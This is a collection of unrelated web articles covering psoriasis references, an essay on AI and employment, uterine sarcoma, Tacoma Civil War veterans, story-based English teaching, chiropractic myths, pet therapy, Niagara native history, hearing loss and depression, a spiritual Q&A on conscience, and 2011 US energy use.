1. World Health Organization. Global report on psoriasis. 2016. Available at: apps.who.int/iris/bitstream/10665/204417/1/9789241565189_eng.pdf. Accessed June 2020.
2. National Psoriasis Foundation. About Psoriasis. Available at: https://www.psoriasis.org/about-psoriasis. Accessed June 2020.
3. Bagel J, Schwartzman S. Am J Clin Dermatol 2018;19:839-852.
4. WebMD. Psoriatic arthritis. Available at: https://www.webmd.com/arthritis/psoriatic-arthritis/psoriatic-arthritis-the-basics Accessed: June 2020.
5. PAPAA. Psoriasis: a simple explanation. Available at: https://www.papaa.org/learn-about-psoriasis-and-psoriatic-arthritis/common-questions/psoriasis-a-simple-explanation/ Accessed: June 2020.
6. National Psoriasis Foundation. The immune system and psoriatic disease. Available at: https://www.psoriasis.org/research/science-of-psoriasis/immune-system Accessed: June 2020.
7. NIH Medline Plus Magazine. Questions and answers about psoriasis. Available at: https://magazine.medlineplus.gov/article/questions-answers-about-psoriasis Accessed: June 2020.
8. British Association of Dermatologists patient hub; Psoriasis: an overview. Available at: https://www.skinhealthinfo.org.uk/condition/psoriasis/ Accessed: June 2020.
9. NHS. Psoriasis: symptoms. Available at: https://www.nhs.uk/conditions/psoriasis/symptoms/ Accessed: June 2020.
10. Science Photo Library. Psoriasis infographic. Available at: https://www.sciencephoto.com/media/1003424/view Accessed: June 2020. |
If machines are capable of doing almost any work humans can do, what will humans do?
The question of what happens when machines get to be as intelligent as and even more intelligent than people seems to occupy many science-fiction writers. The Terminator movie trilogy, for example, featured Skynet, a self-aware artificial intelligence that served as the trilogy's main villain, battling humanity through its Terminator cyborgs. Among technologists, it is mostly "Singularitarians" who think about the day when machine will surpass humans in intelligence. The term "singularity" as a description for a phenomenon of technological acceleration leading to "machine-intelligence explosion" was coined by the mathematician Stanislaw Ulam in 1958, when he wrote of a conversation with John von Neumann concerning the "ever accelerating progress of technology and changes in the mode of human life, which gives the appearance of approaching some essential singularity in the history of the race beyond which human affairs, as we know them, could not continue." More recently, the concept has been popularized by the futurist Ray Kurzweil, who pinpointed 2045 as the year of singularity. Kurzweil has also founded Singularity University and the annual Singularity Summit.
It is fair to say, I believe, that Singularitarians are not quite in the mainstream. Perhaps it is due to their belief that by 2045 humans will also become immortal and be able to download their consciousness to computers. It was, therefore, quite surprising when in 2000, Bill Joy, a very mainstream technologist as co-founder of Sun Microsystems, wrote an article entitled "Why the Future Doesn't Need Us" for Wired magazine. "Our most powerful 21st-century technologies -- robotics, genetic engineering, and nanotech -- are threatening to make humans an endangered species," he wrote. Joy's article was widely noted when it appeared, but it seems to have made little impact.
It is in the context of the Great Recession that people started noticing that while machines have yet to exceed humans in intelligence, they are getting intelligent enough to have a major impact on the job market. In their 2011 book, Race Against The Machine: How the Digital Revolution is Accelerating Innovation, Driving Productivity, and Irreversibly Transforming Employment and the Economy authors Erik Brynjolfsson and Andrew McAfee, argued that "technological progress is accelerating innovation even as it leaves many types of workers behind." Indeed, over the past 30 years, as we saw the personal computer morph into tablets, smartphones, and cloud computing, we also saw income inequality grow worldwide. While the loss of millions of jobs over the past few years has been attributed to the Great Recession, whose end is not yet in sight, it now seems that technology-driven productivity growth is at least a major factor. Such concerns have gone mainstream in the past year, with articles in newspapers and magazines carrying titles such as "More Jobs Predicted for Machines, Not People," "Marathon Machine: Unskilled Workers Are Struggling to Keep Up With Technological Change," "It's a Man vs. Machine Recovery," and "The Robots Are Winning."
Early AI pioneers were brimming with optimism about the possibilities of machine intelligence. Alan Turing's 1950 paper, "Computing Machinery and Intelligence" is perhaps best known for his proposal of an "Imitation Game", known today as "the Turing Test", as an operational definition for machine intelligence. But the main focus of the 1950 paper is actually not the Imitation Game but the possibility of machine intelligence. Turing carefully analyzed and rebutted arguments against machine intelligence. He also stated his belief that we will see machine intelligence by the end of the 20th century, writing "I believe that at the end of the century the use of words and general educated opinion will have altered so much that one will be able to speak of machines thinking without expecting to be contradicted."
While we now know that Turing was too optimistic on the timeline, AI's inexorable progress over the past 50 years suggests that Herbert Simon was right when he wrote in 1956 "machines will be capable ... of doing any work a man can do." I do not expect this to happen in the very near future, but I do believe that by 2045 machines will be able to do if not any work that humans can do, then a very significant fraction of the work that humans can do. Bill Joy's question deserves therefore not to be ignored: Does the future need us? By this I mean to ask, if machines are capable of doing almost any work humans can do, what will humans do? I have been getting various answers to this question, but I find none satisfying.
A typical answer to my raising this question is to tell me that I am a Luddite. (Luddism is defined as distrust or fear of the inevitable changes brought about by new technology.) This is an ad hominem attack that does not deserve a serious answer.
We are facing the prospect of being completely out-competed by our own creations.
A more thoughtful answer is that technology has been destroying jobs since the start of the Industrial Revolution, yet new jobs are continually created. The AI Revolution, however, is different than the Industrial Revolution. In the 19th century machines competed with human brawn. Now machines are competing with human brain. Robots combine brain and brawn. We are facing the prospect of being completely out-competed by our own creations. Another typical answer is that if machines will do all of our work, then we will be free to pursue leisure activities. The economist John Maynard Keynes addressed this issue already in 1930, when he wrote, "The increase of technical efficiency has been taking place faster than we can deal with the problem of labour absorption." Keynes imagined 2030 as a time in which most people worked only 15 hours a week, and would occupy themselves mostly with leisure activities.
I do not find this to be a promising future. First, if machines can do almost all of our work, then it is not clear that even 15 weekly hours of work will be required. Second, I do not find the prospect of leisure-filled life appealing. I believe that work is essential to human well-being. Third, our economic system would have to undergo a radical restructuring to enable billions of people to live lives of leisure. Unemployment rate in the US is currently under 9 percent and is considered to be a huge problem.
Finally, people tell me that my concerns apply only to a future that is so far away that we need not worry about it. I find this answer to be unacceptable. 2045 is merely a generation away from us. We cannot shirk responsibility from concerns for the welfare of the next generation.
In 2000, Bill Joy advocated a policy of relinquishment -- "to limit development of the technologies that are too dangerous, by limiting our pursuit of certain kinds of knowledge." I am not sure I am ready to go that far, but I do believe that just because technology can do good, it does not mean that more technology is always better. Turing was what we call today a "techno-enthusiast", writing in 1950 that "we may hope that machines will eventually compete with men in all purely intellectual fields ... we can see plenty there that needs to be done." But his incisive analysis about the possibility of machine intelligence was not accompanied by an analysis of the consequences of machine intelligences. It is time, I believe, to put the question of these consequences squarely on the table. We cannot blindly pursue the goal of machine intelligence without pondering its consequences.
This article available online at: |
Uterine Sarcoma Facts
The uterus is pear shaped with the narrow end pointing down. This narrow lower end, which extends into the vagina, is the cervix. The wider upper part is the body of the uterus, or the uterine corpus.
There are three layers to the body of the uterus:
- Endometrium, the inner lining
- Myometrium, a thick layer of muscle
- Serosa, the outer covering, or membrane
Connective tissue called stroma supports the other uterine tissues.
What is Uterine Sarcoma?
Most cancer in the body of the uterus—more than 95 percent—starts in the endometrium. This is called endometrial cancer or endometrial carcinoma. (“Carcinoma” is the term for cancer that starts in one of the body’s linings or membranes.) We discuss endometrial cancer in its own section of the website.
Rarely, cancer starts in another tissue in the body of the uterus. Most of these cancers are uterine sarcoma. (“Sarcoma” is the term for cancer that starts not in a body lining but in one of the body’s other tissues, like muscle, bone, fat, or fibrous tissue.) Only about 3% of uterine cancers are uterine sarcoma. Other less common uterine cancers are uterine papillary serous carcinoma, clear cell carcinoma, and carcinosarcoma (also called malignant mixed mesodermal tumors or malignant mixed mullerian tumors).
Uterine sarcoma occurs when cells in the body of the uterus, usually in the muscle layer, begin to grow abnormally. These cells do not respond to regular cell growth, division, and death signals like they are supposed to. They also don’t organize normally. Instead they grow into a tumor, which may break through into other layers of the uterus.
Although the cervix is part of the uterus, cancer that starts in the cervix is referred to as cervical cancer, and it’s discussed in its own section of this website.
This rest of this section is about uterine sarcoma.
Types of Uterine Sarcoma
About 1,400 new cases of uterine sarcoma are diagnosed each year in this country. The three types of uterine sarcoma are:
- Uterine leiomyosarcoma, the most common type, which starts in the myometrium
- Endometrial stromal sarcoma, a rare type, which starts in the connective tissue that supports the endometrium (endometrial stroma)
- Undifferentiated sarcoma, a rare type, which is similar to endometrial stromal sarcoma but more aggressive, meaning it grows and spreads more quickly
If you or someone you know has recently been diagnosed with uterine sarcoma, you’re probably thinking hard about what to do next. Your most important decision is selecting where to get treatment.
One of the main factors that increases your risk for uterine sarcoma is having had radiation therapy to your pelvis in the past.
A possible symptom of uterine sarcoma is abnormal vaginal bleeding, such as bleeding or spotting between periods or after menopause.
To diagnose uterine sarcoma, doctors have to remove a sample of tissue from your uterus and look at the cells under a microscope.
Staging is the process of determining the grade of your cancer, whether (and how deeply) it has invaded other tissues of your uterus, and whether it has spread outside your uterus. Doctors use stage to help guide treatment decisions. |
During the Civil War years, Washington Territory was growing with migrating easterners. Popular opinion favored the North during the war. After the war ended, many veterans heeded Horace Greely's New York Tribune article about supporting the building of the transcontinental railroad and headed west. "Go West Young Man, Go West!" Railroad advertisements encouraged veterans, including Job Carr, to homestead on valuable timberlands newly opened by the "iron horse," and the expanding lumber industry offered great promise.
A Fraternal Organization for Veterans
In 1866, Union veterans of the Civil War organized the Grand Army of the Republic (GAR) and became a political and social force that would control the destiny of the nation for more than 60 years. Founded in Illinois, it soon grew to have hundreds of posts across the northern and western United States.
GAR members engaged in a variety of activities to socialize, including fraternal meetings, post gatherings, and state and national encampments. GAR meetings were ritualistic and patterned after Masonic tradition. Charity for needy comrades and widows was foremost in their support for one another. They raised funds through fees and donations to pay rents, buy food and cover medical and funeral expenses of needy veterans and widows. They were concerned for the plight of their fellow soldiers and started soldiers' homes to help indigent disabled veterans.
They founded the GAR to commemorate dead comrades, and instituted the observance of Decoration Day in 1868. Known today as Memorial Day, it is more encompassing, honoring all American veterans who have passed on, regardless of era.
Membership in the GAR was open to individuals who had served in the Army, Navy, Marine Corps or Revenue Cutter Service during the Civil War, thereby limiting the life span of the GAR. The GAR was dissolved in 1956 following the death of its last member.
The Civil War was the central event in the lives of most of the men who served in the armed forces. Many of them had never traveled more than a few miles beyond their homes, and the war took them to places they otherwise would not have seen, made them participants in great events, and often left them with scars that constantly reminded them of how much they had sacrificed. During the post-war years, thousands of men joined veterans' organizations such as the GAR in the North and the United Confederate Veterans (UCV) in the South. They revisited the sites of their battles and fellow veterans' gravesites, raised monuments to commemorate their service, and in large numbers, wrote reminiscences about their part in the war.
The GAR in Tacoma
Job Carr in his GAR uniform, source: Carr Family Collection
Locally, fellow veterans of the Tacoma GAR Custer Post No. 6 were instrumental in supporting the development of the City of Tacoma. Two of these key GAR members were Job Carr and John Wilson Sprague. Job Carr served as the first commander of the local GAR post. His sons Anthony and Howard were also GAR members.
General John W. Sprague, source: Tacoma Public Library
As well as both being Civil War veterans, Job Carr and General Sprague each hold the distinction of being a first mayor of Tacoma.
Carr was elected to serve as the first mayor of Tacoma City (Old Town Tacoma) in 1875.
Sprague was elected to serve as the first mayor of Tacoma in 1883, when the towns of Tacoma City and New Tacoma (downtown) merged.
The positions GAR members held in Tacoma and their contributions to the community were significant. Many GAR members are now interred in the Old Tacoma Cemetery, Oakwood Hill Cemetery GAR section, Orting Soldiers Home Cemetery, and Retsil Soldiers Home.
When Job passed away in 1887, his funeral service was held at the GAR Hall. Along with friends and relatives, a large delegation of members of the post attended. He was dressed in his GAR uniform with the badge pinned on his coat. The handles of his casket bore the initials "G.A.R." General Sprague presided over the ceremony.
Howard Carr, Jane Bradley Carr, Margaret Carr Wenworth, and Anthony Carr at their father's gravesite in the Old Tacoma Cemetery,
source: Carr Family Collection
Historically, the presence of church and fraternal organizations has played an important role in the development of young towns by providing many social and charitable activities to the community. Many settlers had personal ties with the Civil War and its aftermath, and many of their grandparents were directly involved with the Revolutionary War and the follow-up War of 1812. These citizens took fierce pride in their country and those who fought for it. The memory of GAR veterans in Tacoma and the local area is not readily evident, and even the cemeteries where they are interred do not keep a separate listing of these valiant men. It is important to these veterans that their departed comrades were remembered and respected by maintaining and visiting their grave sites, and they hoped that following generations would continue to remember them by caring for their final resting place and memory.
About the Author
Portions of this article by Synthia A. Santos first appeared in Fort Lewis Military Museum's publication, The Banner, in 2002. Ms. Santos served as the I Corps Historian at Fort Lewis and is active in historical associations in Pierce County. Permission to reprint portions of her original article was granted by Ms. Santos. |
Stories have always fascinated mankind. It is our capacity to create, remember and imagine stories that set us humans apart from animals. Stories are part of all human cultures. English, being the world language, has a wealth of short stories to its credit. A learner of English very often starts out his/her learning by means of reading or reciting stories.
In a kindergarten class, a teacher who teaches the sounds of letters has no better way to introduce those sounds than a short story. For example, Jolly phonics that makes use of the teaching of sounds to teaching reading, uses short stories extensively. For example, to introduce the sound of the letter ‘a’, a phonics teacher would tell the story of a kid who had a picnic outdoors, was bitten by an ant, and flicks the ant away saying ‘a’ ‘a’ ‘a’. This is a brilliant way to introduce sounds.
The role of stories in teaching vocabulary is well-known to every English teacher and every interested parent. Take for example, a story such as ‘the lion and the mouse’. Words such as ‘awakened’, ‘do you a good turn’, ‘plight’ and ‘bound’ which are otherwise difficult to explain, become very clear in their meaning as soon as the story is told. This is because a story provides a context to the word, and the context explains the meaning. There are any number of activities that can be devised from short stories to teach vocabulary. A very popular one is to ask children to find the word that has a given meaning. There are also gap-filling activities in which kids have to write down a suitable word they encountered in the story.
This comes as no surprise to anyone. Stories are the time-tested way to learn to read. They are short, so they are suitable to hold the attention of youngsters whose attention span is very short. Many of them, especially the Aesop’s fables, are full of animals, and kids love animals. Since the subject material is so interesting, there is the incentive and motivation to read. It is no wonder that kids’ story books are so immensely popular all over the world. The advantage of these books is also that the vocabulary is very kid-friendly – simple and easy to pronounce.
Speaking is not something you associate traditionally with short stories, but it takes just a bit of creativity on the part of the parent or the teacher to turn a reading lesson into a speaking lesson. There are stories such as the Ant and the Grasshopper that lend themselves to dialogues very well. It takes very little imagination to see the possibilities of such short stories as role play material. Another way in which short stories can develop speaking skills is through story telling. Children love telling stories. A resourceful teacher can assign students to tell stories they know to the class each day.
Short stories can be the spring board to writing. There are numerous ways in which short stories can be used to develop writing skills. A commonly used method is to ask students to write answers to questions based on the story. There can also be gap-filling activities and extension activities in which students are asked to imagine a different ending to the story. Then there are also short story writing contests which are very popular among kids and teenagers all over the world.
One might ask, why talk about values while dealing with English teaching and learning! Fact is, there is no learning that is devoid of instilling some kind of value system. Most of the popular short stories that children read, including fairy tales, instill the values of honesty, patience, selflessness and kindness. The value of a short story in such value education is very high. Classic stories like the Hare and the Tortoise and the Goose with the Golden Eggs teach values more effectively than any amount of moral education.
Short and captivating, stories are a goldmine for English teaching and learning.
Soft skills are in high demand today – everybody seems to be needing them for… Read More |
Chiropractic is well recognized today as an effective and natural solution to spinal issues and other body problems. This means that it eliminated the need for risky surgery and drugs with unpleasant side effects. This would be good news for anyone that suffers from spinal problems, chronic back pain or headaches, but this is not the case for a lot of people.
There are still a lot of misconceptions about chiropractic treatment, and this has the effect of discouraging a lot of people from seeking the help they need from the best possible source. However, these misconceptions stem from a lack of understanding about this approach to treatment and the chiropractic profession as a whole.
Today we discuss 5 of the most common myths that have to do with chiropractic care and share the actual truth everybody needs to know:
Myth #1: Chiropractors are not real doctors
Fact: Chiropractors do not practice until they have undergone at least six years of university medical education. This is at par with most doctors and even more than some. Just because the treatment approach does not include prescription drugs or surgery does not mean they are not highly qualified.
Most people are aware of the delicate nature of necks and spines, and therefore only want to entrust their care to a doctor that is properly accredited. Generally, chiropractors have four years of pre-medical undergraduate education, learning about various scientific fields. Next, they have to complete four to five years of study at an accredited chiropractic college. During these years, students must complete AT LEAST 4,200 hours of study, combining time in the classroom and laboratory and clinical experience. This breadth of education prepares chiropractors to treat the variety of cases they see. Via Multi-Specialty
Myth #2: Chiropractic treatment is highly risky and dangerous
Fact: Chiropractic care is less invasive than other forms of medical intervention that increase risk for injury. In fact, surgery and medical side effects present a lot more danger than the methods used by chiropractors.
“As with any health profession, chiropractic does have a set of risks but statistically you have a greater chance of getting struck by lightning – which is one in 100 000 – than getting a serious adverse effect from a chiropractic adjustment – which is one in 1 000 000. Chiropractors enjoy some of the lowest malpractice insurance premiums of any registered health care professional due to its safety record.” Via All4Women
Myth #3: Chiropractic treatment is painful
When done right, chiropractic adjustments should not hurt. In fact, chiropractors usually have so many techniques at their disposal, so they typically pick those that are the safest and most comfortable for each patient. In fact, you are more likely to feel uncomfortable going through a deep tissue massage than a chiropractic adjustment.
When someone is experiencing back pain the last thing they want to experience is worsened pain in the chiropractor’s office. If your chiropractor is performing an adjustment correctly, it should not be painful. Though there might be some brief discomfort, this has to do with your presenting injury and not the adjustment itself. Generally, patients feel relieved and comfortable after an adjustment. Via Multi-Specialty
Myth #4: Chiropractors can only treat back pain
While chiropractic treatment is especially effective in treating back pain, this treatment approach has far-reaching benefits for a wide range of conditions. Some of the less-known conditions that can be treated by chiropractic were discussed in an earlier post. Check it out here…
Myth #5: Once you receive chiropractic treatment the first time, you’ll need it again and again
Fact: Many chiropractic patients are happy to see their chiropractors again because of the great experience they had and the positive results they got out of it.
Every patient is in complete control of his or her health and it is no different when it comes to chiropractic care, says Dr Delgado.
“While some people may choose to have their spine checked regularly for the rest of their lives as a part of their wellness lifestyle, some may only use it sporadically for relief care. The amount of chiropractic care you utilise is always up to you, and your chiropractor will support you whether you choose relief care or wellness care.” Via All4Women
If you would like more information on chiropractic care and whether it is appropriate for your condition, contact us today or fill out the form on our website. |
People with spinal cord injuries show a strong association of wheelchairs as part of their body, not an extension of immobile limbs. The human brain can learn to treat relevant prosthetics as a substitute for a non-working body part, according to new research.
April 8, 2015
March 14, 2008
Scientists Discover How Brain Creates Giant Synapses for Efficiently Processing Auditory Information
June 11, 2013
March 31, 2014 |
Improved health to the elderly
For many people, dogs are an important source of love and friendship – sadly sometimes their only source! Importantly a dog can provide unconditional acceptance and warmth. In this way they can help improve mood and reduce depression, thus acting as a psychological boost to our lives.
Demographic trends such as increased lifespan, smaller and more scattered families, and higher levels of divorce / separation all mean that more people are living alone. Sadly many feel isolated and lonely and there are an increasing number of older people in residential and nursing homes. Pets are therefore becoming increasingly important.
Benefits to health
Pet ownership provides many general benefits to human health. Those that especially relate to the elderly include: Companionship and a “purpose for life” helping to establish a regular daily routine and improving self-esteem.
The encouragement of regular physical activity.
Improved comfort during recovery from illness or injury and rehabilitation. Recent research has demonstrated that interaction with animals can benefit individuals with conditions such as dementia and Alzheimer’s disease.
Pets As Therapy
Pets As Therapy is a national UK charity founded in 1983. It provides therapeutic visits to hospitals, hospices, nursing and care homes, special needs schools and a variety of other venues by volunteers with their own friendly, temperament tested and vaccinated dogs and cats. Since its beginning over 23,000 PAT dogs have been registered, and currently there are over 4,500 active PAT dogs and 108 PAT cats at work in the UK. Every week these animals visit more than 130,000 people, totalling a staggering 6.75million annually.
Research continues to validate the very real value of this daily work undertaken in the community by voluntary PAT visitors and their dogs that work amongst those of us most in need of a little extra boost in addition to medical skills and nursing care.
The real benefits to institutions which implement animal visits as part of their routine include:
- Improved interpersonal relationships of the residents in their care
- Enhanced self esteem of the residents in their care
- Improved verbalisation of the residents in their care
- Improved treatment of patients with dementia and Alzheimer ’s disease
As a result of the above, there is reduced staff stress, reduced staff turnover and ultimately cost savings
For more information check the PAT website on: www.petsastherapy.org
Pets helping to link children with the elderly
One project worthy of special mention was reported at the IAHAIO conference in Tokyo in 1997. Robin Zelcher worked in a school for children with special needs in Jerusalem. The school had some animals and Robin had the idea that the children could take the animals to a local residential home for the elderly. In the event, the animals proved to be a catalyst to facilitate the communication between the children and the old people, with benefits to all. The programme was such a success that it was followed up with a visit to a zoo, the children acting as escorts to the elderly.
What type of dog is best for an elderly person at home?
Making the right choice of dog is difficult for any family. There are some special considerations for older people. Depending on its size, a dog will need to exercise for at least 30 minutes a day. For older people, especially those with limited mobility, a small dog requiring less exercise may be preferable. This imposed requirement for exercise in old people, as long as it is within appropriate limits, may be good for their own health and routine.
Remember too, dogs get old, and will also get less mobile and require help and assistance. This may be physically difficult if the dog is large or overweight.
What about getting an old dog for an elderly person?
The Elderly Animal Re-homing Scheme (EARS) provides invaluable companionship for animals and owners, particularly for elderly people who may live alone or who have recently lost a loved one and the scheme has received the backing of Help the Aged and Age Concern.
It's a sad fact that re-homing some elderly dogs can be a difficult process. Many potential dog owners can be reluctant to take on an older animal due to fears of increased demands on time and money.
Some branches of the RSPCA offer an Elderly Animal Re-homing Scheme (EARS), which aims to help alleviate these worries and pair older animals with appropriate new owners. In return for a small contribution of £5 per month, EARS offers owners a range of assurances, including:
- Discounts on food and visits to the veterinarian
- Help with transport
- A 24-hour phone number to call in case of emergency
New owners under the scheme are given an ID card, which qualifies their pet for a range of benefits, including annual booster vaccinations, health checks, routine worming tablets and flea treatments.
Find out more on www.rspca.org.uk/allaboutanimals/pets/rehoming |
Native Niagara: A History of Niagara’s Peoples
We can recognize Niagara today as a haven for all peoples looking for a fantastic vacation. The attractions and festivities are fun for all creeds and colors, all sizes and shapes. Even the splendor of the falls themselves is appealing to all sorts — it’s basically undeniable that the falls are wondrous to behold no matter where you come from.
However, before Niagara became a vacationer’s wonderland — even before Europeans “discovered” the new world — Niagara was populated and revered by America’s very first travelers: American Indians. If you like to read up on the history of a place when you plan your vacation, here’s a brief exploration of Niagara’s native population.
Hunting and Gathering
Nomadic peoples first discovered the Niagara region around 12,000 years ago, right when the falls first started to form. These primary inhabitants were members of the Clovis culture of nomads in North America. These people are recognizable in archaeological digs throughout North America by their unique and revolutionary method of chipping stones for weapons and tools. Most likely, these first inhabitants settled seasonally along the shores of Lake Eerie to hunt the migrating caribou, moose, elk and mastodons. One of these earliest groups called themselves the Onguiaahra, which is suspected as being the inspiration for the modern name Niagara.
Hunter-gatherers roamed the area for a little less than nine thousand years, through both the Archaic and Woodland periods. During this time, small groups would stay in the area year around, including the harsh winters, but large groups would migrate to the area during lush and fruitful summers to hunt deer and moose as well participate in mass fishing initiatives along the lakes and rivers.
The Beginning of Agriculture
In the Woodland period, the Iroquois began cultivating the soils around Niagara for agriculture, planting corn, beans and squash to fill the bulk of their diet. With food needs covered, the Iroquois were able to establish more permanent communities with palisaded villages and surprisingly large populations.
Various complex cultural rituals were introduced during this period, including burial ceremonies and ceramic creation, and more complicated political systems came into being with the enhanced importance of kinship ties.
Of the Iroquois confederacy, the most prolific in the Niagara region was the Atiquandaronk tribe. These groups, like many of the Iroquois, lived communally in huge longhouses segmented into areas for different kinships and classes.
The Invasion of Europeans
French explorers were the first of the white settlers to discover the Niagara region. They renamed the resident American Indian groups the “Neutral” tribes, though they included more than nine different tribes under this single moniker. The promise of trade from the wealthy and exotic Europeans as well as age-old disagreements encouraged inter-tribe fighting, which led to the degeneration of the native cultures.
Additionally, the introduction of European missionaries as well as various European diseases and wars led to diminished native population and influence. After the War of 1812, virtually all of the native tribes had vacated the area or began assimilating (as best they could) with the European towns. Today, the Iroquois Nation still exists and continues to fight for the land and rights stripped of them by various European groups.
If you’d like to learn more about Niagara Falls, its history and its peoples, visit the Niagara Falls History Museum during your stay. |
One of the most commonly overlooked conditions among people with hearing impairment is their mental health.
Being cut off from the world and being unable to hear properly can be emotionally damaging and isolating.
What Research Says:
While there may be several studies that say hearing loss and mental health are directly associated, the numbers are conflicting.
Some say that as many as 19.1% of those with hearing impairment suffer from mild depression and about 11.4% report moderate to severe depression.
Take note that the likelihood for depression will increase by as much as 5% for every decrease in the hearing ability for adults less than 70 years old, according to a 2009 Internet based national survey.
A more recent study pointed out that as much as 20% of older adults with hearing impairment would be diagnosed with clinical depression.
One thing is clear, there is a connection and there must be early intervention in place to ensure that this will not persist or worsen.
It’s sad to think that people going through gradual hearing loss have to slowly withdraw themselves because they simply cannot keep up.
So, What’s The Root Cause?
While many may assume that depression and paranoia are derived from their psychosocial effects, experts argue that it is more than that.
Sometimes factors like high intelligence, social abandon and nutrient deficiency might play major role in mental illness.
When a person suffers from hearing impairment, the brain loses its capacity to process auditory signals, and this causes the brain to focus its activities to adapt.
When this happens, the neural pathways have to reorganize and alter the way they operate.
There would be an imbalance in different areas of the brain, such as memory and the regulation of depressive symptoms.
In short, the brain rewires itself due to hearing loss.
3 Things You Should Know About Helping Someone with Hearing Loss:
Based on the data discussed, treatment for hearing impairment should be done at the earliest time possible. Here are some ways you can treat it.
1. Hearing Aids.
The use of hearing aids allows individuals to process auditory cues.
This way, the brain does not have to work overtime, which decreases the need to alter neural pathways.
In fact, when used early, hearing aids can even help the brain adjust well with the auditory signals.
This is the reason why Helix Hearing Care recommends proper maintenance of hearing aids.
2. Auditory Training.
For those who want to improve how they can effectively communicate with other people, undergoing auditory rehabilitation can help mitigate the worsening of depressive symptoms.
Through different strategies, professionals can provide techniques on how they can improve their listening techniques.
This way, they don’t have to be socially withdrawn simply because they find it hard to keep up with conversations.
Aside from instituting interventions for hearing loss, individuals can also benefit from attending counseling sessions where they can talk about their feelings.
Therapy can be significant in giving people an emotional anchor to help them improve their health and wellness.
Having to live your life without one of your senses can be emotionally and mentally draining, which is why it is important to seek early intervention. |
QA115 QUESTION: Could you talk about the difference between our conscience and our guilt feelings?
ANSWER: Yes. I will come back to a lecture I gave quite a long time ago [Lecture #83 Idealized Self-Image] which some of you may remember. And the newer friends might do well to read this lecture, for man has two consciences. The one is, as my older friends may recall, the real self, the innermost being, that knows perfectly well what for him is right, constructive and furthering, and what is not.
This conscience does not have a rigid code of right versus wrong – the right in the self-righteous, moralistic way. It is very flexible, free, and may or may not be in accordance with the laws of society. It sometimes is and it sometimes is not. In this conscience are embedded the original spiritual laws in all their beauty, generosity, wisdom and also scope. They are always constructive. They are always, in the basic common denominator, for the good, and yet they often vary according to the individual. In other words, what may be right for one individual may not be right for the other individual.
On the other hand, the other conscience – what I call the superimposed conscience – is a conglomerate of influences of civilization, society, public opinion, ready-made rules, fear and dependency. This is sometimes exceedingly strong. Unfortunately, mankind has ignored these two different kinds of conscience. That is a very harmful thing because often the superimposed conscience is confused with the spiritual conscience.
Even if both – the real, original, individual spiritual conscience which is free, and the superimposed society conscience, which is not free – pursue the same action, the feeling and the spirit in which the act is perpetuated or followed through is a completely different one, even though the act may be identical.
The same act may one way leave you free, make you expanding and make you richer. And the same act if it has been followed through as a dictate of the superimposed conscience will cripple you, squeeze you, make you unfree and create fear in you – or because of the freedom you infringe, make you rebellious and resentful and therefore guilty.
Now, the lecture I gave much, much later, rather recently, on the two kinds of guilt, of course, referred to these two kinds of conscience [Lecture #109 Spiritual and Emotional Health Through Restitution for Real Guilt]. The real conscience will have the real guilt, and the superimposed conscience will have the false guilt.
It is very important to distinguish this, because, for many a person, the superimposed conscience is one of the hardest and cruelest taskmasters. There is a battle between this superimposed conscience and the person, with all its instincts. These include the childish, primitive instincts, as well as the constructive, creative impulses that in one’s blindness are often thought of as horrible and bad – one can no longer distinguish – as the selfishness that is imbedded in each child.
The way one looks at this childish selfishness depends also on from what vantage point you look at it. If you look at it from the superimposed false conscience, this childish selfishness seems unforgivable and horrible, and it will bow you down and cripple your growth and unfoldment. But if you look at it from the point of view of reality, it will be something you can easily accept. But thereby, just because you accept it, you genuinely grow out of it. For then there will no longer be any need for this childish selfishness.
So growth is stunted by the superimposed, false conscience. Often it is confused with the spiritual conscience because spiritual laws are used as a shield for the false conscience. There is no question of real spirituality, because real spirituality does not act out of fear. It acts out of freedom and a genuine desire. But it is not good because it fears not to be good.
So this false conscience is of the greatest possible harm, and it is in direct opposition to the real unfoldment and growth of the personality. Human religion ignored this and has dictated this conscience, and in this way hinders real spirituality.
On the other hand, the newest findings in the last half-century of psychology, have found this conscience – the false conscience – but ignored that this is not the only conscience that exists and thought it is necessary, to some degree at least, in order to prohibit the lowest instincts from being destructive. This, again, is not truth. The truth is: no one has to fear letting go of this false conscience, because then and then only can the real conscience be heard and give you a safe guidance.
Now, with this I return to the question asked about the doubts about oneself. As long as you are only dimly and half-consciously aware of this false superimposed conscience, you must find yourself with a terrible struggle. For then, it seems to you, you only have a choice between it and very selfish instincts you fear. You do not know there’s anything else. So how can you let go of these superimposed laws you hold on to, if you think all that exists are the instincts and impulses you fear most?
And yet the real conscience cannot possibly manifest as long as you do not relinquish the false conscience and give yourself a chance to let what you fear simmer on the surface of your consciousness, of your awareness, because you are not forced to act upon it if you do not like it. But you can certainly afford to be aware of it.
Then you can come to terms with it. And then only will your real spiritual conscience unfold. That is the only thing that will give you well-founded self-trust and self-confidence. How can you have confidence in yourself if your real self does not dare to come out? And your real self cannot come out as long as you need to lean on outer, superimposed rules.
116 QUESTION: Is it true that we try not only to squeeze ourselves into our own idealized self-images but we actually try to live up to the idealized selves of our parents as well? Is this correct?
ANSWER: It is absolutely correct. The child’s helplessness and insecurity makes him strive desperately for acceptance by his parents. In doing so, he believes he has to adopt the standards of the parents. As I said before, it does not matter whether these standards actually are those of the parents or the child merely believes that. So the child begins a process of false, pretended, superficial adherence to certain standards without inner conviction.
Doing so alienates him from his real self, which thereby becomes weaker. He becomes doubly resentful and feels cheated when this mode of living and being does not bring the hoped-for results, as certainly it cannot. As you all know, there is in all of you, to a greater or lesser degree, a desire not to give up being a child, despite the equally strong wish to grow up.
The insistence on remaining a cared-for child necessitates your holding on to the superimposed standards and thus to the superimposed conscience. With it, you hope to appease, coerce and force, as it were, your parents or the parent-substitutes to belatedly give you what you missed. Thus you perpetuate the process until and unless you fully recognize it in all its intensity and various side effects. |
In 2009, energy consumption in the U.S. plunged because the economy went into the toilet. In 2011, during a period of modest economic expansion, Americans used less energy than in the previous year – but this time it was “due mainly to a shift to higher-efficiency energy technologies in the transportation and residential sectors,” according to a new government report.
And wind was on the rise, too.
The Lawrence Livermore National Laboratory said wind power was the biggest percentage gainer in energy production in 2011, rising from .92 quadrillion BTU (quads) in 2010 to 1.17 quads in 2011.
“Wind energy jumped significantly because, as in previous years, many new wind farms came online,” A.J. Simon, an LLNL energy systems analyst, said in a statement. “This is the result of sustained investment in wind power.”
Even as it grew, wind power remained a very small part of the energy picture – total U.S. energy use in 2011 was 97.3 quads (down from 98 quads in 2010), with 39.2 quads for electricity generation. Solar, also growing fast, was even smaller, contributing less than a tenth the power that wind did, at 0.158 quads.
